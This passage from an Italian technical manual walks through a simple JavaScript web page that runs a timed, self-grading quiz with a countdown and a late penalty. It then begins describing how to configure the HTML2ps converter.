Questa sezione contiene la descrizione di un programma molto semplice, scritto con il linguaggio JavaScript, per la realizzazione di verifiche che generano automaticamente la valutazione. Il programma riguarda una verifica di esempio e serve solo come idea di un modello da utilizzare per la realizzazione di altre verifiche del genere. Si osservi che un meccanismo molto simile a quello descritto qui si può utilizzare all'interno di Alml, il quale genera automaticamente il codice JavaScript necessario.

Viene mostrato subito il listato completo della pagina HTML contenente il programma; nelle sezioni successive viene descritto nelle sue varie componenti.

```
<HTML LANG="it">
<HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html">
    <TITLE>Verifica banale</TITLE>
    <SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
    <!--
        //
        // Something to do at the beginning.
        //
        // Get the initial time stamp.
        //
        var start_time = new Date ();
        //
        // Countdown function.
        //
        function countdown (time_allowed)
        {
            var hours;
            var minutes;
            var seconds;
            var time;
            var time_string;
            var time_sign;
            //
            // Verify the countdown time sign.
            //
            if (time_allowed > 0)
              {
                time_sign = "";
              }
            else
              {
                time_sign = "-";
              }
            //
            // Find the absolute countdown value.
            //
            time = Math.abs (time_allowed);
            //
            hours   = (time - (time % 3600000)) / 3600000;
            time    = time - (hours * 3600000);
            minutes = (time - (time % 60000)) / 60000;
            time    = time - (minutes * 60000);
            seconds = (time - (time % 1000)) / 1000;
            //
            if (minutes < 10)
              {
                minutes = "0" + minutes;
              }
            if (seconds < 10)
              {
                seconds = "0" + seconds;
              }
            if (hours < 10)
              {
                hours = "0" + hours;
              }
            //
```

```
            time_string = time_sign + hours + ":" + minutes + ":" + seconds;
            //
            // Show the time string inside some text field.
            //
            document.test_form_1.countdown_0.value = time_string;
            document.test_form_1.countdown_1.value = time_string;
            document.test_form_1.countdown_2.value = time_string;
            //
            // Reduce 10 s inside the countdown variable.
            //
            time_allowed = time_allowed - 10000;
            //
            // Wait for 10 s for the recursive call.
            //
            setTimeout ("countdown (" + time_allowed + ")", 10000);
            //
        }
        //
        // Radio button scan function.
        //
        function scan_radio_button (radio_button)
        {
            var counter;
            //
            for (counter = 0; counter < radio_button.length; counter++)
              {
                if (radio_button[counter].checked)
                  {
                    return (counter + 1);
                  }
              }
            //
            // Nothing found.
            //
            return 0;
        }
        //
        // Check test_form_1.
        //
        function check_test_form_1 (start_time)
        {
            //
            var end_time = new Date ();
            var test_time = end_time - start_time;
            var time_allowed = 1 * 60000;
            var time_delay = test_time - time_allowed;
            //
            if (time_delay < 0)
              {
                time_delay = 0;
              }
            //
            // Penalty for a minute delay.
            //
            var score_time_penalty = 0.5;
            //
            // Set the result for every choice.
            //
            var score_dita_di_una_mano = new Array();
            score_dita_di_una_mano[0] = 0;
```

```
            score_dita_di_una_mano[1] = 0;
            score_dita_di_una_mano[2] = 0;
            score_dita_di_una_mano[3] = 0;
            score_dita_di_una_mano[4] = 0;
            score_dita_di_una_mano[5] = 0;
            score_dita_di_una_mano[6] = 5;
            score_dita_di_una_mano[7] = 0;
            score_dita_di_una_mano[8] = 0;
            //
            // Set the result for every choice.
            //
            var score_dita_di_un_piede = new Array();
            score_dita_di_un_piede[0] = 0;
            score_dita_di_un_piede[1] = 0;
            score_dita_di_un_piede[2] = 0;
            score_dita_di_un_piede[3] = 0;
            score_dita_di_un_piede[4] = 0;
            score_dita_di_un_piede[5] = 0;
            score_dita_di_un_piede[6] = 5;
            score_dita_di_un_piede[7] = 0;
            score_dita_di_un_piede[8] = 0;
            //
            // Save the personal data.
            //
            var student = document.test_form_1.student.value;
            var date = document.test_form_1.date.value;
            //
            // Scan the radio buttons.
            //
            var dita_di_una_mano = scan_radio_button (document.test_form_1.dita_di_una_mano);
            //
            var dita_di_un_piede = scan_radio_button (document.test_form_1.dita_di_un_piede);
            //
            // Calculate the results.
            //
            var account_score_time_penalty;
            var account_score_dita_di_una_mano;
            var account_score_dita_di_un_piede;
            var account_score_sum = 0;
            //
            account_score_time_penalty = (time_delay / 1000) * (score_time_penalty / 60);
            //
            account_score_dita_di_una_mano = score_dita_di_una_mano[dita_di_una_mano];
            account_score_dita_di_un_piede = score_dita_di_un_piede[dita_di_un_piede];
            account_score_sum = account_score_sum - account_score_time_penalty;
            account_score_sum = account_score_sum + account_score_dita_di_una_mano;
            account_score_sum = account_score_sum + account_score_dita_di_un_piede;
            //
            // Reset the form to avoid the use of the [Back] button
            // from the browser.
            //
            document.test_form_1.reset();
            //
            // Print a simple HTML header.
            //
            document.writeln ("<HTML>");
            document.writeln ("<HEAD>");
            document.writeln ("<TITLE>Risultato della verifica</TITLE>");
            document.writeln ("</HEAD>");
            document.writeln ("<BODY>");
```

```
        //
        // Print a H1 title and some personal data.
        //
        document.writeln ("<H1>Verifica banale</H1>");
        document.writeln ("<P>studente: " + student + "</P>");
        document.writeln ("<P>data: " + date + "</P>");
        //
        // Print about time.
        //
        document.write ("<P>inizio della verifica: ");
        document.write (start_time.getYear());
        document.write (".");
        document.write (start_time.getMonth() + 1);
        document.write (".");
        document.write (start_time.getDate());
        document.write (" ");
        document.write (start_time.getHours());
        document.write (":");
        document.write (start_time.getMinutes());
        document.write (".");
        document.write (start_time.getSeconds());
        document.writeln ("</P>");
        //
        document.write ("<P>conclusione della verifica: ");
        document.write (end_time.getYear());
        document.write (".");
        document.write (end_time.getMonth() + 1);
        document.write (".");
        document.write (end_time.getDate());
        document.write (" ");
        document.write (end_time.getHours());
        document.write (":");
        document.write (end_time.getMinutes());
        document.write (".");
        document.write (end_time.getSeconds());
        document.writeln ("</P>");
        //
        document.write ("<P>durata complessiva della verifica: ");
        document.write (test_time / 1000);
        document.write (" s, ");
        document.write (test_time / 1000 / 60);
        document.write (" m;");
        document.writeln ("</P>");
        //
        document.write ("<P>tempo a disposizione: ");
        document.write (time_allowed / 1000);
        document.write (" s; ");
        document.write ("ritardo: ");
        document.write (time_delay / 1000);
        document.write (" s; ");
        document.write ("penalit&agrave;/minuto: ");
        document.write (score_time_penalty);
        document.write ("; ");
        document.write ("penalit&agrave; complessiva: ");
        document.write (account_score_time_penalty);
        document.writeln ("</P>");
        //
        // First question.
        //
        document.write ("<P>Quante sono le dita di una mano? risposta n. ");
```

```
            document.write (dita_di_una_mano);
            document.write ("; ");
            document.write ("punteggio: ");
            document.write (account_score_dita_di_una_mano);
            document.writeln ("</P>");
            //
            // Second question.
            //
            document.write ("<P>Quante sono le dita di un piede? risposta n. ");
            document.write (dita_di_un_piede);
            document.write ("; ");
            document.write ("punteggio: ");
            document.write (account_score_dita_di_un_piede);
            document.writeln ("</P>");
            //
            // Final result.
            //
            document.write ("<P>Punteggio complessivo della verifica: ");
            document.write (account_score_sum);
            document.writeln ("</P>");
            //
            // End of HTML.
            //
            document.writeln ("</BODY>");
            document.writeln ("</HTML>");
            //
            // Print with a printer.
            //
            window.print ();
            //
            // Stop loading.
            //
            window.stop ();
        }
        //-->
        </SCRIPT>
</HEAD>
<BODY onLoad="document.test_form_1.reset(); countdown (1 * 60000);">

<H1>Verifica banale</H1>

<FORM NAME="test_form_1" METHOD="get" ACTION="">

    <P>Tempo a disposizione: <INPUT TYPE="TEXT" NAME="countdown_0" SIZE="10" VALUE=" "></P>

    <P>Cognome, nome, classe:
    <INPUT TYPE="TEXT" SIZE="60" NAME="student" VALUE="">
    </P>

    <P>Data:
    <INPUT TYPE="TEXT" SIZE="60" NAME="date" VALUE="">
    </P>

    <P>Tempo a disposizione: <INPUT TYPE="TEXT" NAME="countdown_1" SIZE="10" VALUE=" "></P>

    <P><STRONG>Quante sono le dita di una mano?</STRONG></P>
    <OL>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">0 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">1 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">2 dita</LI>
```

```
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">3 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">4 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">5 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">6 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">7 dita</LI>
    </OL>

    <P>Tempo a disposizione: <INPUT TYPE="TEXT" NAME="countdown_2" SIZE="10" VALUE=" "></P>

    <P><STRONG>Quante sono le dita di un piede?</STRONG></P>
    <OL>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">0 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">1 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">2 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">3 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">4 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">5 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">6 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_un_piede">7 dita</LI>
    </OL>

    <P><INPUT TYPE="button" VALUE="concludi la verifica"
        onClick="check_test_form_1(start_time)"></P>

</FORM>

</BODY>
</HTML>
```

66.8.1 Utilizzo del programma

Il file mostrato è una pagina HTML che incorpora il codice JavaScript; per visualizzarla occorre un navigatore comune, in grado di eseguire il codice JavaScript. Potrebbe apparire come nella figura successiva:

Verifica banale

Tempo a disposizione: 00:01:00

Cognome, nome, classe:

Data:

Tempo a disposizione: 00:01:00

Quante sono le dita di una mano?

1. 0 dita
2. 1 dita
3. 2 dita
4. 3 dita
5. 4 dita
6. 5 dita
7. 6 dita
8. 7 dita

Tempo a disposizione: 00:01:00

Quante sono le dita di un piede?

1. 0 dita
2. 1 dita
3. 2 dita
4. 3 dita
5. 4 dita
6. 5 dita
7. 6 dita
8. 7 dita

concludi la verifica

Come si vede, appare un modello da compilare; al termine si deve selezionare il bottone CONCLUDI LA VERIFICA per ottenere l'esito. Ecco cosa si potrebbe ottenere se sono state date tutte le risposte in modo esatto, ma con un leggero ritardo rispetto ai tempi concessi:

Verifica banale

studente: Tizi Tizio, 4G

data: 29 aprile 2005

inizio della verifica: 105.4.29 20:6.25

conclusione della verifica: 105.4.29 20:7.43

durata complessiva della verifica: 77.257 s, 1.2876166666666669 m;

tempo a disposizione: 60 s; ritardo: 17.257 s; penalità/minuto: 0.5; penalità complessiva: 0.14380833333333334

Quante sono le dita di una mano? risposta n. 6; punteggio: 5

Quante sono le dita di un piede? risposta n. 6; punteggio: 5

Punteggio complessivo della verifica: 9.856191666666668

In condizioni normali, dovrebbe apparire anche una finestra di conferma per la stampa dell'esito della verifica.

Si può osservare che la pagina normale della verifica viene azzerata completamente a ogni tentativo di ripristino della pagina e di azzeramento del tempo, in modo da scoraggiare un uso scorretto della verifica.

66.8.2 Codice HTML

Il codice HTML significativo è quello contenuto nell'elemento '**`BODY`**'. La prima cosa che si può osservare è l'associazione dell'evento '**`onLoad`**' alla chiamata della funzione ***document.test_form_1.reset()*** e successivamente della funzione ***countdown()***:

```
<BODY onLoad="document.test_form_1.reset(); countdown (1 * 60000);">
```

In pratica, la prima delle due funzioni esiste in quanto è stato definito il modulo (elemento '**`FORM`**') denominato '**`test_form_1`**' e serve ad azzerarne il contenuto; la seconda funzione è dichiarata nel codice JavaScript che appare nell'intestazione della pagina e il suo scopo è quello di azzerare il conto alla rovescia, in modo che parta da 60000 ms (pari a 60 s, ovvero un minuto).

Con l'evento '**`onLoad`**' associato in questo modo alle due funzioni appena descritte, si vuole fare in modo che a ogni caricamento della pagina il suo contenuto si azzeri e il conteggio del tempo a disposizione riparta. Questa accortezza serve a evitare che si possa barare sulla durata, lasciando comunque la possibilità di ricominciare, prima di avere concluso la verifica, purché ci sia il tempo complessivo necessario.

Successivamente, dopo un titolo, si vede un elemento '**`FORM`**', che contiene in pratica le varie componenti da compilare della verifica: alcuni campi descrittivi, due gruppi di bottoni di selezione e il bottone di conclusione della verifica:

```
<FORM NAME="test_form_1" METHOD="get" ACTION="">
    ...
    <P>Cognome, nome, classe:
    <INPUT TYPE="TEXT" SIZE="60" NAME="student" VALUE="">
    </P>
    ...
    <P><STRONG>Quante sono le dita di una mano?</STRONG></P>
    <OL>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">0 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">1 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">2 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">3 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">4 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">5 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">6 dita</LI>
    <LI><INPUT TYPE="RADIO" NAME="dita_di_una_mano">7 dita</LI>
    </OL>
    ...
    <P><INPUT TYPE="button" VALUE="concludi la verifica"
        onClick="check_test_form_1(start_time)"></P>
</FORM>
```

L’elenco numerato (‘**OL**’) contenente gli elementi di selezione di tipo ‘**RADIO**’ (che pertanto consentono una sola selezione nel gruppo), serve a definire la scelta di una domanda a risposta multipla.

Al bottone finale viene abbinato l’evento ‘**onClick**’, in modo da avviare contestualmente la funzione ***check_test_form_1()***, fornendo alla stessa l’orario esatto di inizio della verifica.

Si può osservare che inizialmente, l’elemento ‘**FORM**’ contiene anche l’attributo ‘**METHOD**’ e ‘**ACTION**’, che però sono perfettamente inutili, dal momento che non si usa alcun programma CGI.

Qua e là, appare anche un campo particolare, che ha lo scopo di ospitare l’indicazione del tempo a disposizione, che decresce progressivamente:

```
<P>Tempo a disposizione: <INPUT TYPE="TEXT" NAME="countdown_2" SIZE="10" VALUE=" "></P>
```

In questo campo non si deve scrivere, ma anche se fosse, il contenuto verrebbe rimpiazzato periodicamente con l’informazione del tempo che decresce.

66.8.3 Variabili globali

All’inizio del programma appare la dichiarazione di una variabile globale:

```
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
    //
    // Get the initial time stamp.
    //
    var start_time = new Date ();
```

Lo scopo è quello di accumulare al caricamento della pagina la data e l’orario iniziale. Successivamente, questa informazione viene passata come argomento della funzione ***check_test_form_1()***, come già descritto in precedenza.

66.8.4 Conto alla rovescia

Una porzione del programma JavaScript è dedicata alla gestione di un orologio che mostra il tempo a disposizione all’interno dei campi del tipo:

```
<INPUT TYPE="TEXT" NAME="countdown_2" SIZE="10" VALUE=" ">
```

Questo lavoro è svolto dalla funzione ***countdown()***, che richiede come argomento il tempo a disposizione, espresso in millesimi di secondo:

```
function countdown (time_allowed)
{
    var hours;
    var minutes;
    var seconds;
    var time;
    var time_string;
    var time_sign;
```

```
    //
    // Verify the countdown time sign.
    //
    if (time_allowed > 0)
      {
        time_sign = "";
      }
    else
      {
        time_sign = "-";
      }
    //
    // Find the absolute countdown value.
    //
    time = Math.abs (time_allowed);
    //
    hours   = (time - (time % 3600000)) / 3600000;
    time    = time - (hours * 3600000);
    minutes = (time - (time % 60000)) / 60000;
    time    = time - (minutes * 60000);
    seconds = (time - (time % 1000)) / 1000;
    //
    if (minutes < 10)
      {
        minutes = "0" + minutes;
      }
    if (seconds < 10)
      {
        seconds = "0" + seconds;
      }
    if (hours < 10)
      {
        hours = "0" + hours;
      }
    //
    time_string = time_sign + hours + ":" + minutes + ":" + seconds;
    //
    // Show the time string inside some text field.
    //
    document.test_form_1.countdown_0.value = time_string;
    document.test_form_1.countdown_1.value = time_string;
    document.test_form_1.countdown_2.value = time_string;
    //
    // Reduce 10 s inside the countdown variable.
    //
    time_allowed = time_allowed - 10000;
    //
```

```
    // Wait for 10 s for the recursive call.
    //
    setTimeout ("countdown (" + time_allowed + ")", 10000);
}
```

Il lavoro iniziale della funzione è quello di separare le varie componenti del tempo, in modo da individuare le ore, i minuti e i secondi, avendo anche l'accortezza di aggiungere uno zero iniziale quando il valore corrispondente ha una sola cifra. Il risultato di questa scomposizione viene aggregato nella variabile '**`time_string`**', in modo da produrre qualcosa di simile a «00:10:20» (zero ore, 10 minuti e 20 secondi), avendo cura anche di mostrare un segno se il valore è negativo; fatto questo, il valore della stringa viene copiato nei campi che servono a visualizzare il conteggio ('**`document.test_form_1.countdown_`*n*`.value`**').

Una volta provveduto a mostrare il valore aggiornato nei campi rispettivi, si decrementa il tempo a disposizione di 10 s e si esegue una chiamata ricorsiva attraverso l'aiuto della funzione ***setTimeout()***.

La funzione ***setTimeout()*** serve a eseguire una funzione, passata come stringa, dopo che è trascorso un certo tempo, senza bloccare il funzionamento del programma complessivo. In questo caso, si avvia la stessa funzione ***countdown()***, passando il valore aggiornato del tempo a disposizione, dopo che sono passati 10 s. Secondo la modalità normale di programmazione, sarebbe più logico eseguire un ciclo iterativo, inserendo una pausa in quel punto, ma in questo caso ciò non è possibile, sia perché manca una funzione appropriata nel linguaggio JavaScript, sia perché una tale funzione bloccherebbe il funzionamento del programma, impedendo così la compilazione del modulo e l'invio della verifica.

Una cosa da osservare è che il ciclo di aggiornamento dell'orologio che mostra il conto alla rovescia è di 10 s, mentre sarebbe facilissimo ridurlo a un solo secondo:

```
    //
    // Reduce 1 s inside the countdown variable.
    //
    time_allowed = time_allowed - 1000;
    //
    // Wait for a second for the recursive call.
    //
    setTimeout ("countdown (" + time_allowed + ")", 1000);
```

La scelta di avere un aggiornamento meno frequente dipende solo dall'intenzione di non agitare inutilmente chi sta svolgendo la verifica.

66.8.5 Scansione di un elenco di tipo «RADIO»

Le domande a risposta multipla vengono gestite attraverso componenti del modulo di tipo '**`RADIO`**'. L'insieme dell'elenco si ottiene tramite un nome del tipo seguente; in pratica, nel caso del primo elenco si tratta del nome '**`document.test_form_1.dita_di_una_mano`**':

`document.`***form***`.`***radio***

Questo nome rappresenta precisamente un array di valori logici, con cui si può poi verificare se il bottone corrispondente è stato premuto o meno:

```
if (document.form.radio[n].checked)
  {
    ...
  }
```

Il primo elemento dell'array si raggiunge con l'indice zero e corrisponde al primo dei bottoni.

Nel programma JavaScript proposto viene usata una funzione apposita per la scansione di un gruppo di bottoni di questo tipo:

```
function scan_radio_button (radio_button)
{
    var counter;
    for (counter = 0; counter < radio_button.length; counter++)
      {
        if (radio_button[counter].checked)
          {
            return (counter + 1);
          }
      }
    return 0;
}
```

In pratica, attraverso la variabile '**`radio_button`**' si ottiene l'array da scandire, quindi si utilizza un contatore per verificare i vari elementi. Se si incontra un bottone premuto, la funzione termina il suo ciclo e restituisce il valore dell'indice aumentato di una unità, mentre se non viene trovato premuto alcun bottone, viene restituito il valore zero.

Come si comprende, la chiamata di questa funzione avviene in un modo simile a quello seguente:

```
dita_di_una_mano = scan_radio_button (document.test_form_1.dita_di_una_mano);
```

66.8.6 Valutazione della verifica

Si ottiene la valutazione della verifica con chiamata della funzione ***check_test_form_1()*** che richiede di fornire la data e l'ora di inizio. La chiamata di questa funzione viene innescata dal bottone che si trova alla fine del modulo:

```
<P><INPUT TYPE="button" VALUE="concludi la verifica"
        onClick="check_test_form_1(start_time)"></P>
```

La funzione in questione contiene delle informazioni fisse, che potrebbero essere passate tramite gli argomenti. Si tratta precisamente del tempo a disposizione (che deve combaciare con quello stabilito per la chiamata della funzione che esegue il conto alla rovescia) e della penalità nel punteggio da applicare a ogni minuto di ritardo:

```
function check_test_form_1 (start_time)
{
    //
    var end_time = new Date ();
    var test_time = end_time - start_time;
    var time_allowed = 1 * 60000;
    var time_delay = test_time - time_allowed;
    //
    if (time_delay < 0)
      {
        time_delay = 0;
      }
    //
    // Penalty for a minute delay.
    //
    var score_time_penalty = 0.5;
```

Oltre a questo, c'è da osservare che la funzione contiene internamente l'informazione su quali sono le risposte corrette, attraverso degli array che contengono il punteggio da dare per ogni risposta. Si osservi che in questo caso, l'elemento iniziale (con indice zero) corrisponde alla mancanza di alcuna selezione:

```
    //
    // Set the result for every choice.
    //
    var score_dita_di_una_mano = new Array();
    score_dita_di_una_mano[0] = 0;
    score_dita_di_una_mano[1] = 0;
    score_dita_di_una_mano[2] = 0;
    score_dita_di_una_mano[3] = 0;
    score_dita_di_una_mano[4] = 0;
    score_dita_di_una_mano[5] = 0;
    score_dita_di_una_mano[6] = 5;
    score_dita_di_una_mano[7] = 0;
    score_dita_di_una_mano[8] = 0;
    //
    // Set the result for every choice.
    //
    var score_dita_di_un_piede = new Array();
    score_dita_di_un_piede[0] = 0;
    score_dita_di_un_piede[1] = 0;
    score_dita_di_un_piede[2] = 0;
    score_dita_di_un_piede[3] = 0;
    score_dita_di_un_piede[4] = 0;
    score_dita_di_un_piede[5] = 0;
    score_dita_di_un_piede[6] = 5;
    score_dita_di_un_piede[7] = 0;
    score_dita_di_un_piede[8] = 0;
```

Successivamente, nella funzione vengono salvati i dati descrittivi, che servono a identificare chi ha eseguito la verifica:

```
    //
    // Save the personal data.
    //
    var student = document.test_form_1.student.value;
    var date = document.test_form_1.date.value;
```

Si passa quindi alla scansione delle risposte e al calcolo del punteggio corrispondente:

```
    //
    // Scan the radio buttons.
    //
    var dita_di_una_mano = scan_radio_button (document.test_form_1.dita_di_una_mano);
    //
    var dita_di_un_piede = scan_radio_button (document.test_form_1.dita_di_un_piede);
    //
    // Calculate the results.
    //
    var account_score_time_penalty;
    var account_score_dita_di_una_mano;
    var account_score_dita_di_un_piede;
    var account_score_sum = 0;
    //
    account_score_time_penalty = (time_delay / 1000) * (score_time_penalty / 60);
    //
    account_score_dita_di_una_mano = score_dita_di_una_mano[dita_di_una_mano];
    account_score_dita_di_un_piede = score_dita_di_un_piede[dita_di_un_piede];
    account_score_sum = account_score_sum - account_score_time_penalty;
    account_score_sum = account_score_sum + account_score_dita_di_una_mano;
    account_score_sum = account_score_sum + account_score_dita_di_un_piede;
```

Terminata l'acquisizione e valutazione dei dati, si ha cura di azzerare il modulo, in modo da assicurare che non possa essere utilizzabile il bottone per il ritorno alla pagina precedente tramite il navigatore ipertestuale per modificare la verifica già terminata:

```
    //
    // Reset the form to avoid the use of the [Back] button
    // from the browser.
    //
    document.test_form_1.reset();
```

Successivamente si passa alla fase di produzione di una nuova pagina HTML con l'esito della verifica. Si osservi che a seconda dell'interprete JavaScript usato, l'anno potrebbe essere visualizzato correttamente o meno (per esempio, l'anno 2005 potrebbe essere mostrato come 105), ma si tratta di un errore trascurabile per i fini di questo prototipo:

```
    //
    // Print a simple HTML header.
    //
    document.writeln ("<HTML>");
```

```
    document.writeln ("<HEAD>");
    document.writeln ("<TITLE>Risultato della verifica</TITLE>");
    document.writeln ("</HEAD>");
    document.writeln ("<BODY>");
    //
    // Print a H1 title and some personal data.
    //
    document.writeln ("<H1>Verifica banale</H1>");
    document.writeln ("<P>studente: " + student + "</P>");
    document.writeln ("<P>data: " + date + "</P>");
    //
    // Print about time.
    //
    document.write ("<P>inizio della verifica: ");
    document.write (start_time.getYear());
    document.write (".");
    document.write (start_time.getMonth() + 1);
    document.write (".");
    document.write (start_time.getDate());
    document.write (" ");
    document.write (start_time.getHours());
    document.write (":");
    document.write (start_time.getMinutes());
    document.write (".");
    document.write (start_time.getSeconds());
    document.writeln ("</P>");
    //
    document.write ("<P>conclusione della verifica: ");
    document.write (end_time.getYear());
    document.write (".");
    document.write (end_time.getMonth() + 1);
    document.write (".");
    document.write (end_time.getDate());
    document.write (" ");
    document.write (end_time.getHours());
    document.write (":");
    document.write (end_time.getMinutes());
    document.write (".");
    document.write (end_time.getSeconds());
    document.writeln ("</P>");
    //
    document.write ("<P>durata complessiva della verifica: ");
    document.write (test_time / 1000);
    document.write (" s, ");
    document.write (test_time / 1000 / 60);
    document.write (" m;");
    document.writeln ("</P>");
    //
```

```
    document.write ("<P>tempo a disposizione: ");
    document.write (time_allowed / 1000);
    document.write (" s; ");
    document.write ("ritardo: ");
    document.write (time_delay / 1000);
    document.write (" s; ");
    document.write ("penalit&agrave;/minuto: ");
    document.write (score_time_penalty);
    document.write ("; ");
    document.write ("penalit&agrave; complessiva: ");
    document.write (account_score_time_penalty);
    document.writeln ("</P>");
    //
    // First question.
    //
    document.write ("<P>Quante sono le dita di una mano? risposta n. ");
    document.write (dita_di_una_mano);
    document.write ("; ");
    document.write ("punteggio: ");
    document.write (account_score_dita_di_una_mano);
    document.writeln ("</P>");
    //
    // Second question.
    //
    document.write ("<P>Quante sono le dita di un piede? risposta n. ");
    document.write (dita_di_un_piede);
    document.write ("; ");
    document.write ("punteggio: ");
    document.write (account_score_dita_di_un_piede);
    document.writeln ("</P>");
    //
    // Final result.
    //
    document.write ("<P>Punteggio complessivo della verifica: ");
    document.write (account_score_sum);
    document.writeln ("</P>");
    //
    // End of HTML.
    //
    document.writeln ("</BODY>");
    document.writeln ("</HTML>");
```

Al termine, si può osservare l'uso della funzione ***window.print()*** per invitare alla stampa del risultato, in modo da poterlo consegnare all'insegnante. Si osservi che con alcuni navigatori potrebbe anche non funzionare, ma rimane la possibilità di comandare la richiesta di stampa tramite il menù del navigatore stesso.

Alla fine della funzione, per completezza, viene usata la funzione ***window.stop()***, per interrompere il caricamento della pagina, che con alcuni navigatori rimane attivo, nonostante non

ci sia altro da attendere.

```
    //
    // Print with a printer.
    //
    window.print ();
    //
    // Stop loading.
    //
    window.stop ();
}
```

66.9 HTML2ps

HTML2ps[5] è un programma in grado di comporre uno o più file HTML, generando un risultato in PostScript. Questo si ottiene attraverso l'aiuto di altri programmi che devono essere installati, come per esempio TeX.

Teoricamente, HTML2ps è in grado di ricomporre assieme un documento suddiviso su più file HTML, ma questa possibilità dipende molto dall'organizzazione di questi file, all'interno dei quali, i riferimenti ipertestuali devono essere molto semplici. In generale, è possibile l'acquisizione diretta dalla rete; tuttavia, sarebbe consigliabile prima la riproduzione locale, con l'ausilio di Wget (46.8), attraverso il quale si possono modificare automaticamente i riferimenti ipertestuali, rendendo omogeneo il tutto.

HTML2ps si compone semplicemente dell'eseguibile '**`html2ps`**' (un programma scritto in Perl) e di uno o più file di configurazione. È indispensabile almeno il file di configurazione generale, '`/etc/html2psrc`', che dovrebbe essere già predisposto in modo sufficientemente buono dal sistema di installazione. Eventualmente, gli utenti possono preparare una configurazione personalizzata nel file '`~/.html2psrc`' e altri file specifici da richiamare con l'opzione '**`-f`**', oltre all'aggiunta di stili ulteriori (opzione '**`-s`**').

66.9.1 Configurazione di HTML2ps

Come accennato, la configurazione di HTML2ps è indispensabile. Di solito si predispone almeno il file di configurazione generale, '`/etc/html2psrc`', mentre gli utenti hanno la possibilità di modificare o aggiungere qualcosa attraverso il file '`~/.html2psrc`'. La sintassi per la scrittura di questi file è la stessa dei fogli di stile CSS (sezione 66.6), con l'aggiunta di un selettore specifico, '**`@html2ps`**', che serve a indicare gli aspetti particolari che riguardano HTML2ps e non possono appartenere ai fogli di stile CSS.

Bisogna tenere presente che HTML2ps è in grado di riconoscere solo una parte limitata delle dichiarazioni CSS.

HTML2ps riconosce anche i commenti CSS e le inclusioni di file di configurazione aggiuntivi, secondo la forma:

```
@include file
```

Per cominciare, è opportuno vedere un esempio abbastanza semplice di ciò che potrebbe contenere un file di configurazione, quando questo viene generato automaticamente dalla procedura di installazione.

```
/* Configurazione globale per html2ps */

@html2ps {
  package {
    ImageMagick: 1;
    PerlMagick: 1;
    TeX: 1;
    Ghostscript: 1;
    check: weblint;
    libwww-perl: 1;
    path: "/usr/bin/X11:/usr/bin";
  }
  paper {
    type: A4;
  }
  option {
    hyphenate: 0;
  }
}
```

Si può osservare che in questo esempio è stata dichiarata solo la regola corrispondente al selettore '**`@html2ps`**', all'interno della quale si trovano altre sottoregole. Generalmente, le regole tipiche di uno stile CSS si aggiungono sotto. La configurazione predefinita dello stile CSS è indicata nella pagina di manuale *html2psrc(5)* e da questa si intende quali siano le possibilità effettive di HTML2ps nel riconoscere le dichiarazioni CSS:

```
BODY {
    font-family: Times;
    font-size: 11pt;
    text-align: left;
    background: white;
}

H1, H2, H3, H4, H5, H6 {
    font-weight: bold;
    margin-top: 0.8em;
    margin-bottom: 0.5em;
}

H1 { font-size: 19pt }
H2 { font-size: 17pt }
H3 { font-size: 15pt }
H4 { font-size: 13pt }
H5 { font-size: 12pt }
H6 { font-size: 11pt }
```

```
P, OL, UL, DL, BLOCKQUOTE, PRE {
    margin-top: 1em;
    margin-bottom: 1em;
}

P {
    line-height: 1.2em;
    text-indent: 0;
}

OL, UL, DD { margin-left: 2em }

TT, KBD, PRE { font-family: Courier }

PRE { font-size: 9pt }

BLOCKQUOTE {
    margin-left: 1em;
    margin-right: 1em;
}

ADDRESS {
    margin-top: 0.5em;
    margin-bottom: 0.5em;
}

TABLE {
    margin-top: 1.3em;
    margin-bottom: 1em;
}

DEL { text-decoration: line-through }

A:link, HR { color: black }
```

66.9.1.1 Configurazione della regola corrispondente al selettore speciale @html2ps

La regola corrispondente al selettore '**`@html2ps`**' si compone di dichiarazioni e di altre sottoregole per la configurazione di HTML2ps. Nelle sezioni seguenti vengono descritti i selettori specifici di queste sottoregole.

Alcune proprietà hanno un significato booleano. A loro si assegna il valore zero per indicare *Falso* e il valore uno per indicare *Vero*.

I valori che fanno riferimento a un'unità di misura, vanno indicati come avviene nei fogli di stile CSS: il numero seguito immediatamente dall'unità di misura. La tabella 66.172 elenca

le unità di misura e le sigle corrispondenti che si possono utilizzare in questa circostanza. È importante osservare che l'unica dimensione relativa riconosciuta da HTML2ps è il quadratone e non sono previste misure percentuali come invece si può fare secondo le specifiche di W3C per i fogli di stile CSS.

Tabella 66.172. Unità di misura secondo HTML2ps.

Sigla	Unità di misura
cm	Centimetri.
mm	Millimetri.
pt	Punti tipografici.
pc	Pica.
em	Quadratoni, corrispondente alla dimensione della lettera «M» maiuscola.

